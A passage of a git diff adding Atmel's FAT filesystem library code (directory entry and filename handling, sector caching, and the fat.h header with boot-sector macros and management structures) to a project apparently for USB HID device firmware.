fs_g_nav_fast.u16_entry_pos_sel_file Position in directory of the entry file (unit entry) +//! OUT: +//! fs_g_sector Updated +//! @endverbatim +//! +void fat_write_entry_file( void ) +{ + PTR_CACHE ptr_entry; + + fat_cache_mark_sector_as_dirty(); + ptr_entry = fat_get_ptr_entry(); + + if( !(FS_ATTR_DIRECTORY | fs_g_nav_entry.u8_attr)) + { + if( 0 == fs_g_nav_entry.u32_size ) + fs_g_nav_entry.u32_cluster = 0; + } + + //! Write the attribut + ptr_entry+= 11; + ptr_entry[0] = fs_g_nav_entry.u8_attr; + + // Write the first cluster of file cluster list + ptr_entry += (20-11); + ptr_entry[0] = LSB2(fs_g_nav_entry.u32_cluster); + ptr_entry[1] = LSB3(fs_g_nav_entry.u32_cluster); + ptr_entry += (26-20); + ptr_entry[0] = LSB0(fs_g_nav_entry.u32_cluster); + ptr_entry[1] = LSB1(fs_g_nav_entry.u32_cluster); + + //! Write the size of file + ptr_entry += (28-26); + ptr_entry[0] = LSB0(fs_g_nav_entry.u32_size); + ptr_entry[1] = LSB1(fs_g_nav_entry.u32_size); + ptr_entry[2] = LSB2(fs_g_nav_entry.u32_size); + ptr_entry[3] = LSB3(fs_g_nav_entry.u32_size); +} +#endif // FS_LEVEL_FEATURES + + +//! This function returns or compares the short name entry +//! +//! @param b_mode action mode:
+//! FS_NAME_GET to get the short name of selected file
+//! FS_NAME_CHECK to compare the short name of selected file
+//! @param sz_name if FS_NAME_GET then buffer to store the short name file (ASCII or UNICODE )
+//! if FS_NAME_CHECK then name to compare with short name (ASCII or UNICODE), +//! it must be terminate by NULL or '*' value
+//! @param u8_size_max buffer size (unit ASCII or UNICODE ) (ignored in "FS_NAME_CHECK" mode) +//! +//! @return false, in case of error, see global value "fs_g_status" for more detail +//! @return true, the name is correct or read OK +//! +//! @verbatim +//! Global variable used +//! IN : +//! fs_g_sector The directory sector corresponding at the current position +//! fs_g_nav_fast.u16_entry_pos_sel_file Position in directory of the entry file (unit entry) +//! @endverbatim +//! +Bool fat_entry_shortname( FS_STRING sz_name , uint8_t u8_size_max , Bool b_mode ) +{ + Bool b_extension_nostart = true; + uint8_t u8_pos_name; + uint8_t u8_entry_char, u8_szname_char; + PTR_CACHE ptr_entry; + uint8_t u8_pos_entry; + + fs_g_status = FS_ERR_NAME_INCORRECT; // by default the name don't corresponding at filter name + + u8_pos_name = 0; + u8_pos_entry = 0; + ptr_entry = fat_get_ptr_entry(); + + // for each characters of short name + while( 1 ) + { + if( FS_SIZE_SFNAME == u8_pos_entry ) + { + u8_entry_char = 0; // end of name + } + else + { + u8_entry_char = ptr_entry[ u8_pos_entry ]; + if( ((FS_SIZE_SFNAME_WITHOUT_EXT == u8_pos_entry) && b_extension_nostart) // end of name and '.' character no writed + || ( ' ' == u8_entry_char) ) + { + // end of name or extension + if( (FS_SIZE_SFNAME_WITHOUT_EXT >= u8_pos_entry) // End of name without extension + && (' ' != ptr_entry[ FS_SIZE_SFNAME_WITHOUT_EXT ]) ) // extension exists + { + // go to extension position + b_extension_nostart = false; + u8_pos_entry = FS_SIZE_SFNAME_WITHOUT_EXT-1; + u8_entry_char = '.'; + } + else + { + u8_entry_char = 0; // end of name + } + } + } + + if( FS_NAME_GET == b_mode ) + { + if( !g_b_string_length ) + { + if(u8_pos_name >= (u8_size_max-1)) + u8_entry_char = 0; // buffer full then force end of string + + if( ('A'<=u8_entry_char) && (u8_entry_char<='Z')) + u8_entry_char += ('a'-'A'); // display short name in down case + + if( Is_unicode ) + { + ((FS_STR_UNICODE)sz_name)[0] = u8_entry_char; + }else{ + sz_name[0] = u8_entry_char; + } + } + } + else + { + // Compare the name + if( Is_unicode + && (0 != MSB(((FS_STR_UNICODE)sz_name)[0])) ) + { + // The UNICODE is not possibled in short name + return false; + } + + if( Is_unicode ) + { + u8_szname_char = ((FS_STR_UNICODE)sz_name)[0]; + }else{ + u8_szname_char = sz_name[0]; + } + if ('*' == u8_szname_char) + { // end of filter name which authorise all next character + return true; //*** The name is correct *** + } + + if( (0 != u8_entry_char) || (('\\' != u8_szname_char) && ('/' != u8_szname_char)) ) + { + if((u8_szname_char != u8_entry_char) + && (u8_szname_char != (u8_entry_char+('a'-'A'))) ) // no case sensitive + return false; // short name not equal + } + } + + // For each characters + if (0 == u8_entry_char) + { + if( g_b_string_length ) + { + ((FS_STR_UNICODE)sz_name)[0] = u8_pos_name+1; // Get length name + } + return true; // End of test correct or end of get name + } + if( !g_b_string_length ) + { + sz_name += (Is_unicode? 2 : 1 ); + } + u8_pos_name++; + u8_pos_entry++; + } +} + + +//! This function returns or compares the long name entry +//! +//! @param b_mode action mode:
+//! FS_NAME_GET to get the long name of selected file
+//! FS_NAME_CHECK to compare the long name of selected file
+//! @param sz_name if FS_NAME_GET then buffer to store the long name file (ASCII or UNICODE )
+//! if FS_NAME_CHECK then name to compare with long name (ASCII or UNICODE), +//! it must be terminate by NULL or '*' value
+//! +//! @param b_match_case false, ignore the case (only used in "FS_NAME_CHECK" action mode) +//! @param u8_size_max buffer size (unit ASCII or UNICODE ) (ignored in "FS_NAME_CHECK" mode) +//! +//! @return false is not the end of long name, or in case of error, see global value "fs_g_status" for more detail +//! @return true, the name is correct or read is finish +//! +//! @verbatim +//! Global variable used +//! IN : +//! fs_g_sector The directory sector corresponding at the current position +//! fs_g_nav_fast.u16_entry_pos_sel_file Position in directory of the entry file (unit entry) +//! @endverbatim +//! +Bool fat_entry_longname( FS_STRING sz_name , uint8_t u8_size_max , Bool b_mode , Bool b_match_case ) +{ + uint8_t u8_pos_name; + PTR_CACHE ptr_entry; + uint16_t u16_unicode_entry; + uint16_t u16_unicode_szname; + + ptr_entry = fat_get_ptr_entry(); + + if( (FS_ENTRY_END == *ptr_entry ) // end of directory + || (FS_ENTRY_DEL == *ptr_entry ) // entry deleted + || (FS_ATTR_LFN_ENTRY != ptr_entry[11]) ) // no long name + { + fs_g_status = FS_ERR_ENTRY_BAD; + return false; + } + + if( g_b_string_length ) + { + if ( 0 == (FS_ENTRY_LFN_LAST & *ptr_entry)) + { + // no necessary -> ((FS_STR_UNICODE)sz_name)[0] = FS_SIZE_LFN_ENTRY; + fs_g_status = FS_NO_LAST_LFN_ENTRY; + return false; // Other entry long name + } + } + + ptr_entry++; // The long name start at offset 1 of the entry file + + u8_pos_name=0; + while( 1 ) + { + LSB(u16_unicode_entry) = ptr_entry[0]; + MSB(u16_unicode_entry) = ptr_entry[1]; + if( FS_NAME_GET == b_mode ) + { + if( !g_b_string_length ) + { + // Check the end of buffer + if( u8_pos_name>=(u8_size_max-1) ) + { + // Write end of string + if( Is_unicode ) + { + ((FS_STR_UNICODE)sz_name)[0] = 0; + }else{ + sz_name[0] = 0; + } + return true; // the buffer is full + } + // Read and store the long name + if( Is_unicode ) + { + ((FS_STR_UNICODE)sz_name)[0] = u16_unicode_entry; + }else{ + sz_name[0] = (uint8_t)u16_unicode_entry; + } + } + } + else + { + if( Is_unicode ) + { + u16_unicode_szname = ((FS_STR_UNICODE)sz_name)[0]; + }else{ + u16_unicode_szname = sz_name[0]; + } + // Check the name + if( '*' == u16_unicode_szname ) + { // end of filter name which authorise all next character + return true; //*** The name is correct *** + } + + if( ((0 != u16_unicode_entry ) || (( '\\' != u16_unicode_szname) && ( '/' != u16_unicode_szname)) ) + && ((u16_unicode_szname != (u16_unicode_entry+('a'-'A'))) || b_match_case) + && ((u16_unicode_szname != (u16_unicode_entry-('a'-'A'))) || b_match_case) + && (u16_unicode_szname != u16_unicode_entry) ) + { + fs_g_status = FS_ERR_NAME_INCORRECT; // The name don't corresponding at filter name + return false; + } + } + + if( 0 == u16_unicode_entry) + { + if( g_b_string_length ) + { + ((FS_STR_UNICODE)sz_name)[0] = u8_pos_name+1; + } + return true; // Last long name entry + } + if( 4 == u8_pos_name ) + ptr_entry += 3; // Go to second character + + if( 10 == u8_pos_name ) + ptr_entry += 2; // Go to third character + + if( 12 == u8_pos_name ) + { // End of entry long name + ptr_entry -= (FS_SIZE_FILE_ENTRY-2); // Go to the first byte of the file entry + if ( 0 == (FS_ENTRY_LFN_LAST & ptr_entry[0])) + { + fs_g_status = FS_NO_LAST_LFN_ENTRY; + return false; // Other long name entry is present + } + else + { // It is the last long name entry + // then it is the end of name + if( (FS_NAME_GET == b_mode) && g_b_string_length ) + { + ((FS_STR_UNICODE)sz_name)[0] = 14; + return true; + } + sz_name += (Is_unicode? 2 : 1 ); + if( FS_NAME_GET == b_mode ) + { + // Write end of string UNICODE + if( Is_unicode ) + { + ((FS_STR_UNICODE)sz_name)[0] = 0; + }else{ + sz_name[0] = 0; + } + return true; + } + else + { + // if it is the end of filter + if( Is_unicode ) + { + u16_unicode_szname = ((FS_STR_UNICODE)sz_name)[0]; + }else{ + u16_unicode_szname = sz_name[0]; + } + return fat_check_eof_name(u16_unicode_szname); + } + } + } + + if( !g_b_string_length ) + { + sz_name += (Is_unicode? 2 : 1 ); + } + u8_pos_name++; + ptr_entry+=2; + } +} + + +//! Check end of name +//! +//! @param character value of character to check +//! +//! @return true, it is a character to signal a end of name (0,'\\','/') +//! @return false, otherwise +//! +Bool fat_check_eof_name( uint16_t character ) +{ + return (('\0'==character)||('\\'==character)||('/'==character)); +} + + +//! This function returns a cache pointer on the current entry +//! +//! @return a pointer on the internal cache +//! +PTR_CACHE fat_get_ptr_entry( void ) +{ + return &fs_g_sector[(fs_g_nav_fast.u16_entry_pos_sel_file * FS_SIZE_FILE_ENTRY) & FS_512B_MASK]; +} + + +//! This function loads a memory sector in internal cache sector +//! +//! @param b_load true, load the cache with the memory sector corresponding
+//! false, Don't change the sector cache but change the memory address of cache
+//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! Global variable used +//! IN : +//! fs_g_nav.u8_lun drive number to read +//! fs_gu32_addrsector address to read (unit sector) +//! @endverbatim +//! +Bool fat_cache_read_sector( Bool b_load ) +{ + // Check if the sector asked is the same in cache + if( (fs_g_sectorcache.u8_lun == fs_g_nav.u8_lun ) + && (fs_g_sectorcache.u32_addr == fs_gu32_addrsector ) ) + { + return true; + } + + // Write previous cache before fill cache with a new sector + if( !fat_cache_flush()) + return false; + + // Delete informations about the caches + fat_cache_reset(); + + // Init sector cache + fs_g_sectorcache.u32_addr = fs_gu32_addrsector; + if( b_load ) + { + // Load the sector from memory + if( CTRL_GOOD != memory_2_ram( fs_g_nav.u8_lun , fs_g_sectorcache.u32_addr, fs_g_sector)) + { + fs_g_status = FS_ERR_HW; + return false; + } + } + // Valid sector cache + fs_g_sectorcache.u8_lun = fs_g_nav.u8_lun; + return true; +} + + +//! This function resets the sector cache +//! +void fat_cache_reset( void ) +{ + fs_g_sectorcache.u8_lun = FS_BUF_SECTOR_EMPTY; + fs_g_sectorcache.u8_dirty = false; + fs_g_sectorcache.u32_clusterlist_start = 0xFFFFFFFF; +} + + +#if (FS_LEVEL_FEATURES > FSFEATURE_READ) +//! This function clears the sector cache +//! +void fat_cache_clear( void ) +{ + memset( fs_g_sector , 0 , FS_CACHE_SIZE ); +} + + +//! This function sets a flag to signal that sector cache is modified +//! +void fat_cache_mark_sector_as_dirty( void ) +{ + fs_g_sectorcache.u8_dirty = true; +} +#endif // FS_LEVEL_FEATURES + + +//! This function flushs the sector cache on the memory if necessary +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool fat_cache_flush( void ) +{ + // If the cache is modified, then write the sector cache on the device + if ( true == fs_g_sectorcache.u8_dirty ) + { + fs_g_sectorcache.u8_dirty = false; // Always clear, although an error occur + if( mem_wr_protect( fs_g_sectorcache.u8_lun )) + { + fs_g_status = FS_LUN_WP; + return false; + } + if (CTRL_GOOD != ram_2_memory( fs_g_sectorcache.u8_lun , fs_g_sectorcache.u32_addr , fs_g_sector )) + { + fs_g_status = FS_ERR_HW; + return false; + } + } + return true; +} + + + +#if (FS_NB_NAVIGATOR > 1) +//! This function checks write access +//! +//! @return true, write access on disk possibled +//! @return false, File open then write access not possibled +//! +Bool fat_check_nav_access_disk( void ) +{ + uint8_t i; + + // For each navigators + for( i=0 ; i!=(FS_NB_NAVIGATOR-1) ; i++ ) + { + // Disk mounted ? + if( FS_TYPE_FAT_UNM != fs_g_navext_fast[i].u8_type_fat ) + // Is it the same disk ? + if( fs_g_nav.u8_lun == fs_g_navext[i].u8_lun ) + // Is it access file ? + if( fs_g_navext_entry[i].u8_open_mode!=0 ) + { + fs_g_status = FS_ERR_FILE_OPEN; + return false; // File opened then write access not possibled + } + } + return true; +} + + +//! This function checks all access at current file +//! +//! @param mode true, check to write access
+//! false, check to read access
+//! +//! @return false in case of error, see global value "fs_g_status" for more detail :
+//! mode true, File opened then write access not possibles
+//! mode false, File opened in write mode then read access not possibles
+//! @return true, access file possibles +//! +Bool fat_check_nav_access_file( Bool mode ) +{ + uint8_t i; + + // For each navigators + for( i=0 ; i!=(FS_NB_NAVIGATOR-1) ; i++ ) + { + // Disk mounted ? + if( FS_TYPE_FAT_UNM != fs_g_navext_fast[i].u8_type_fat ) + // Is it the same disk ? + if( fs_g_nav.u8_lun == fs_g_navext[i].u8_lun ) +#if (FS_MULTI_PARTITION == ENABLED) + // Is it the same partition ? + if( fs_g_nav.u8_partition == fs_g_navext[i].u8_partition ) +#endif + // Is it the same directory ? + if( fs_g_nav.u32_cluster_sel_dir == fs_g_navext[i].u32_cluster_sel_dir ) + // Is it the same file ? + if( fs_g_nav_fast.u16_entry_pos_sel_file == fs_g_navext_fast[i].u16_entry_pos_sel_file ) + { + if( mode ) + { + // Is it open ? + if( fs_g_navext_entry[i].u8_open_mode!=0 ) + { + fs_g_status = FS_ERR_FILE_OPEN; + return false; // File opened then write access not possibled + } + } + else + { + // Is it open in write mode ? + if( fs_g_navext_entry[i].u8_open_mode & FOPEN_WRITE_ACCESS ) + { + fs_g_status = FS_ERR_FILE_OPEN_WR; + return false; // File opened in write mode then read access not possibled + } + } + } + } + return true; +} + + +//! This function inverts the current navigation with another +//! +//! @param u8_idnav Id navigator to invert +//! +void fat_invert_nav( uint8_t u8_idnav ) +{ + _MEM_TYPE_SLOW_ uint8_t Temp[Max(Max(sizeof(Fs_management),sizeof(Fs_management_entry)),sizeof(Fs_management_fast))]; + + if( u8_idnav == 0 ) + return; + u8_idnav--; + + memcpy_ram2ram(Temp, (uint8_t*)&fs_g_nav, sizeof(Fs_management)); + memcpy_ram2ram((uint8_t*)&fs_g_nav, (uint8_t*)&fs_g_navext[u8_idnav], sizeof(Fs_management)); + memcpy_ram2ram((uint8_t*)&fs_g_navext[u8_idnav], Temp, sizeof(Fs_management)); + + memcpy_ram2ram(Temp, (uint8_t*)&fs_g_nav_entry, sizeof(Fs_management_entry)); + memcpy_ram2ram((uint8_t*)&fs_g_nav_entry, (uint8_t*)&fs_g_navext_entry[u8_idnav], sizeof(Fs_management_entry)); + memcpy_ram2ram((uint8_t*)&fs_g_navext_entry[u8_idnav], Temp, sizeof(Fs_management_entry)); + + memcpy_ram2ram(Temp, (uint8_t*)&fs_g_nav_fast, sizeof(Fs_management_fast)); + memcpy_ram2ram((uint8_t*)&fs_g_nav_fast, (uint8_t*)&fs_g_navext_fast[u8_idnav], sizeof(Fs_management_fast)); + memcpy_ram2ram((uint8_t*)&fs_g_navext_fast[u8_idnav], Temp, sizeof(Fs_management_fast)); +} + + +//! This function copys the main navigator to another navigator +//! +//! @param u8_idnav Id navigator to fill +//! +void fat_copy_nav( uint8_t u8_idnav ) +{ + if( 0 != u8_idnav) + { + u8_idnav--; + memcpy_ram2ram((uint8_t*)&fs_g_navext[u8_idnav], (uint8_t*)&fs_g_nav , sizeof(Fs_management) ); + memcpy_ram2ram((uint8_t*)&fs_g_navext_entry[u8_idnav], (uint8_t*)&fs_g_nav_entry , sizeof(Fs_management_entry) ); + memcpy_ram2ram((uint8_t*)&fs_g_navext_fast[u8_idnav], (uint8_t*)&fs_g_nav_fast , sizeof(Fs_management_fast) ); + fs_g_navext_entry[u8_idnav].u8_open_mode=0; // Clear open file flag + } +} + +#endif diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/services/fs/fat/fat.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/services/fs/fat/fat.h new file mode 100755 index 0000000..48f90e2 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/services/fs/fat/fat.h @@ -0,0 +1,541 @@ +/*This file has been prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief FAT services + * + * This file is the header for FAT services + * + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + *****************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ +#ifndef _FAT_H_ +#define _FAT_H_ + +#include "fs_com.h" + +//! @verbatim +//! - File system vocabulary : +//! MBR : Master Boot Record (constains four PE) +//! PE : Partition Entry (constains a location informations about PBR) +//! PBR : Partition Boot Record +//! BPB : BIOS Parameter Block (see Hardware White Paper FAT) +//! PBR = BPB +//! FAT : File Allocation Table +//! @endverbatim + + +#undef _GLOBEXT_ +#if (defined _fat_c_) +# define _GLOBEXT_ +#else +# define _GLOBEXT_ extern +#endif + +//_____ I N C L U D E S ____________________________________________________ + + +//_____ M A C R O S ________________________________________________________ + + +// To optimize the code +#if (FS_FAT_12 == ENABLED) +# define Is_fat12 (FS_TYPE_FAT_12 == fs_g_nav_fast.u8_type_fat) +#else +# define Is_fat12 (0) +#endif +#if (FS_FAT_16 == ENABLED) +# define Is_fat16 (FS_TYPE_FAT_16 == fs_g_nav_fast.u8_type_fat) +#else +# define Is_fat16 (0) +#endif +#if (FS_FAT_32 == ENABLED) +# define Is_fat32 (FS_TYPE_FAT_32 == fs_g_nav_fast.u8_type_fat) +#else +# define Is_fat32 (0) +#endif + +// Tor optimize the code +#if ( (FS_ASCII == ENABLED) && (FS_UNICODE == ENABLED)) +# define Is_unicode (g_b_unicode) +#elif (FS_ASCII == ENABLED) +# define Is_unicode (0) +#elif (FS_UNICODE == ENABLED) +# define Is_unicode (1) +#else +# error You must define FS_ASCII or/and FS_UNICODE enable in conf_explorer.h +#endif + + +//_____ D E F I N I T I O N S ______________________________________________ + + +//**** Definitions corresponding at the FAT norm **** + +//! Position (unit byte) in the MBR of a partition entry +#define FS_MBR_OFFSET_PART_ENTRY( num ) ((uint16_t)((uint16_t)(0x1BE)+(0x10 * num))) // Partition entry num (0 to 4) + + +//! \name Macro to access at fields in BPB sector (only used in fat_mount() function) +//! The name prefixed by "BPB_" are defined in "Hardware White Paper FAT" +//! @{ +#define LOW_16_BPB_BytsPerSec fs_g_sector[11] +#define HIGH_16_BPB_BytsPerSec fs_g_sector[12] +#define U8_BPB_SecPerClus fs_g_sector[13] +#define LOW_16_BPB_RootEntCnt fs_g_sector[17] +#define HIGH_16_BPB_RootEntCnt fs_g_sector[18] +#define LOW_16_BPB_FATSz16 fs_g_sector[22] +#define HIGH_16_BPB_FATSz16 fs_g_sector[23] +#define LOW0_32_BPB_FATSz32 fs_g_sector[36] +#define LOW1_32_BPB_FATSz32 fs_g_sector[37] +#define LOW2_32_BPB_FATSz32 fs_g_sector[38] +#define LOW3_32_BPB_FATSz32 fs_g_sector[39] +#define LOW_16_BPB_TotSec16 fs_g_sector[19] +#define HIGH_16_BPB_TotSec16 fs_g_sector[20] +#define LOW0_32_BPB_TotSec32 fs_g_sector[32] +#define LOW1_32_BPB_TotSec32 fs_g_sector[33] +#define LOW2_32_BPB_TotSec32 fs_g_sector[34] +#define LOW3_32_BPB_TotSec32 fs_g_sector[35] +#define LOW_16_BPB_ResvSecCnt fs_g_sector[14] +#define HIGH_16_BPB_ResvSecCnt fs_g_sector[15] +#define U8_BPB_NumFATs fs_g_sector[16] +#define LOW0_32_BPB_RootClus fs_g_sector[44] +#define LOW1_32_BPB_RootClus fs_g_sector[45] +#define LOW2_32_BPB_RootClus fs_g_sector[46] +#define LOW3_32_BPB_RootClus fs_g_sector[47] +#define LOW_16_BPB_FSInfo fs_g_sector[48] +#define HIGH_16_BPB_FSInfo fs_g_sector[49] +//! @} + + +//! \name Constante used to sign a MBR or PBR sectors +//! @{ +#define FS_BR_SIGNATURE_LOW 0x55 +#define FS_BR_SIGNATURE_HIGH 0xAA +//! @} + + +//! \name Constants used in MBR sector +//! @{ +#define FS_PART_BOOTABLE 0x80 +#define FS_PART_NO_BOOTABLE 0x00 +/* + Partition Fdisk Demarrage dans + Type Rapports Taille Type de FAT version + ----------------------------------------------------------------------------- + 01 PRI DOS 0-15 Mo 12 bits MS-DOS 2.0 + 04 PRI DOS 16-32 Mo 16 bits MS-DOS 3.0 + 05 EXT DOS 0-2 Go n/a MS-DOS 3.3 + 06 PRI DOS 32 Mo-2 Go 16 bits MS-DOS 4.0 + 0E PRI DOS 32 Mo-2 Go 16 bits Windows 95 + 0F EXT DOS 0-2 Go n/a Windows 95 + 0B PRI DOS 512 Mo - 2 teraoctets 32 bits OSR2 + 0C EXT DOS 512 Mo - 2 teraoctets 32 bits OSR2 +*/ +#define FS_PART_TYPE_FAT12 0x01 +#define FS_PART_TYPE_FAT16_INF32M 0x04 +#define FS_PART_TYPE_FAT16_SUP32M 0x06 +#define FS_PART_TYPE_FAT16_SUP32M_BIS 0x0E +#define FS_PART_TYPE_FAT32 0x0B +#define FS_PART_TYPE_FAT32_BIS 0x0C +#define FS_PART_REMOVE_MEDIA 0xF0 // removal media +#define FS_PART_NO_REMOVE_MEDIA 0xF8 // no removal media +#define FS_PART_HARD_DISK 0x81 // hard disk +#define FS_BOOT_SIGN 0x29 // Boot signature +//! @} + + +//! \name Maximum of FAT cluster +//! @{ +#define FS_FAT12_MAX_CLUSTERS 4085 // Maximum of cluster for FAT 12 +#define FS_FAT16_MAX_CLUSTERS 65525 // Maximum of cluster for FAT 16 +//! @} + + +//! \name Constants used in the first byte of file entry +//! @{ +#define FS_ENTRY_END 0x00 // end of directory +#define FS_ENTRY_DEL 0xE5 // deleted entry +#define FS_ENTRY_LFN_LAST 0x40 // mask to detect the last long name entry +//! @} + + +//! \name Constantes used to manage the file entry +//! @{ +#define FS_SIZE_FILE_ENTRY 32 // Size of the file entry +#define FS_SHIFT_B_TO_FILE_ENTRY 5 // Shift a unit byte to unit entry file (32,<<5) to unit sector 512B (512,>>9) +#define FS_SIZE_LFN_ENTRY 13 // Size of name stored in the file entry "long file name" (unit UNICODE = 2bytes) +#define FS_SIZE_SFNAME 11 // Size of name stored in the file entry "short file name" (unit byte) +#define FS_SIZE_SFNAME_WITHOUT_EXT 8 // Size of name (without extension) stored in the file entry "short file name" (unit byte) +#define FS_SIZE_SFNAME_EXT_ONLY 3 // Size of extension name stored in the file entry "short file name" (unit byte) +//! @} + + +//! \name LIMITATIONS OF FILE SYSTEM +//! @{ +#define FS_NB_FAT 2 // This file system managed only 2 FAT +//! @} + + +//**** Definitions of function configurations + +//! \name The unit sector of 512B is many used in file System stack +//! @{ +#define FS_512B 512 +#define FS_512B_MASK (512-1) +#define FS_512B_SHIFT_BIT 9 // Shift a unit byte to unit sector (512,>>9) +#define FS_SIZE_OF_SECTOR FS_512B // For compliance with old FileSystem module +#define FS_MASK_SIZE_OF_SECTOR FS_512B_MASK // For compliance with old FileSystem module +#define FS_SHIFT_B_TO_SECTOR FS_512B_SHIFT_BIT // For compliance with old FileSystem module +#define FS_CACHE_SIZE 512 // Cache size used by module (unit 512B) +//! @} + +//! Signal that sector cache is not valid +#define FS_BUF_SECTOR_EMPTY 0xFF + + +//! \name Status of the fat_checkcluster() function +//! @{ +#define FS_CLUS_OK 0 // Value correct +#define FS_CLUS_BAD 1 // Value bad +#define FS_CLUS_END 2 // It is the end of cluster list +//! @} + + +//! \name Options of the fat_cluster_list() function +//! @{ +#define FS_CLUST_ACT_SEG 0x01 // Get the sector address and size of the cluster list +#define FS_CLUST_ACT_ONE 0x02 // Get the sector address of the cluster list +#define FS_CLUST_ACT_CLR 0x03 // Clear the cluster list +//! @} + + +//! \name Options of the fat_cluster_val() function +#define FS_CLUST_VAL_READ false // Mode read +#define FS_CLUST_VAL_WRITE true // Mode write +#define FS_CLUST_VAL_EOL 0x0FFFFFFF // Value to signal the end of cluster list +//! @} + + +//! \name Structures used to store the information about File System mount +//! @{ + +//! Union to define a root directory +typedef union +{ + uint32_t u32_cluster; //!< For FAT32, the root directory is a cluster list + struct + { + uint16_t u16_pos; //!< Offset between the beginning of FAT and the beginning of root dir (unit 512B) + uint16_t u16_size; //!< Size of root (unit 512B) + } seg; //!< For FAT 12 & 16, it is a segment (no cluster list) +} Fs_rootdir; + +//! Struture to save the variables frequently used by file system mounted +typedef struct +{ + uint8_t u8_lun; //!< Number of logical driver +#if (FS_MULTI_PARTITION == ENABLED) + uint8_t u8_partition; //!< Number of partition - 1 (0 or 1) +#endif + uint8_t u8_BPB_SecPerClus; //!< Cluster size (unit 512B) + // The pointers start at beginning of the memory, and unit = 512B + uint32_t u32_fat_size; //!< Size of one FAT (unit 512B) + uint16_t u16_offset_FSInfo; //!< Offset between the beginning of FAT and the FSInfo sector (only used by FAT32) (unit 512B) + uint32_t u32_CountofCluster; //!< Number of cluster (include the two reserved cluster) + uint32_t u32_ptr_fat; //!< FAT address (unit 512B) + uint32_t u32_offset_data; //!< Offset between the beginning of FAT and the first cluster (unit 512B) + Fs_rootdir rootdir; //!< Root directory informations + uint16_t u16_entry_pos_sel_dir; //!< Position of selected directory in her parent directory (only use to speed up the get directory name routine) + uint32_t u32_cluster_sel_dir; //!< First cluster number of selected directory (0 for the root directory) + uint16_t u16_pos_sel_file; //!< File position in the file list (only used by navigation functions) + uint16_t u16_pos_filterlist; //!< File position in the file list filtered (only for nav_filterlist functions) + FS_STRING sz_filterext; //!< pointer on extension filter to use in nav_filterlist functions + uint8_t b_mode_nav; //!< Navigation step ( FS_FILE or FS_DIR ) + uint8_t b_mode_nav_single; //!< Navigation File List provide only files or directories + uint8_t u8_flat_dir_level; //!< Directory level of the current dir in flat list + uint16_t u16_flat_pos_offset; //!< Offset in flat list of the directory +} Fs_management; + +//! Struture to save the variables very frequently used by file system mounted +typedef struct +{ + uint8_t u8_type_fat; //!< FAT type (default = no mounted = FS_TYPE_FAT_UNM) + uint16_t u16_entry_pos_sel_file; //!< Entry file position in directory (unit = FS_SIZE_FILE_ENTRY) (see value FS_NO_SEL & FS_END_FIND) +} Fs_management_fast; + +//! Struture to save the frequently variables of file system mounted +typedef struct +{ + uint8_t u8_open_mode; //!< open mode of selected file + uint8_t u8_txt_format; //!< format of text used in selected file (only for reader_txt module) + uint8_t u8_attr; //!< Attribut of the selected file + uint32_t u32_cluster; //!< First cluster of the selected file + uint32_t u32_size; //!< Size of selected file (unit Bytes) + uint32_t u32_pos_in_file; //!< Current position in file (unit Bytes) +} Fs_management_entry; +//! @} + + +//! \name Main sructures +//! @{ + +//! Struture to define a segment +typedef struct { + uint32_t u32_addr; //!< segment address (unit 512B), or cluster number + uint32_t u32_size_or_pos; //!< segment size (unit 512B), or position in cluster list (unit 512B) +} Fs_segment; + +//! Struture to store cluster information +typedef struct st_fs_cluster +{ + uint32_t u32_pos; //!< cluster position + uint32_t u32_val; //!< cluster value +} Fs_cluster; + +//! @} + + +//! Struture to store the cluster list cache +typedef struct { + Bool b_cache_file; //!< Signal a cluster cache from file cluster list or directory cluster list + uint8_t u8_level_use; //!< Cache level, 0 for the last used and up to FS_NB_CACHE_CLUSLIST-1 for the old access (ignore if FS_NB_CACHE_CLUSLIST=1) + uint8_t u8_lun; //!< LUN of cluster list + uint32_t u32_cluster; //!< First cluster of cluster list + uint32_t u32_start; //!< Start position in the cluster list (unit 512B) + uint32_t u32_addr; //!< Address corresponding at the position "start" in cluster list + uint32_t u32_size; //!< Cluster list size +} Fs_clusterlist_cache; + + +//! Struture to store the information about sector cache (=last sector read or write on disk) +typedef struct { + uint8_t u8_lun; //!< LUN of sector + uint32_t u32_addr; //!< Sector address (unit 512B) + uint8_t u8_dirty; //!< Cache status + //!< if the sector is a sector from a cluster list THEN + uint32_t u32_clusterlist_start; //!< first cluster of cluster list + uint32_t u32_clusterlist_pos; //!< position in cluster list (unit 512B) +} 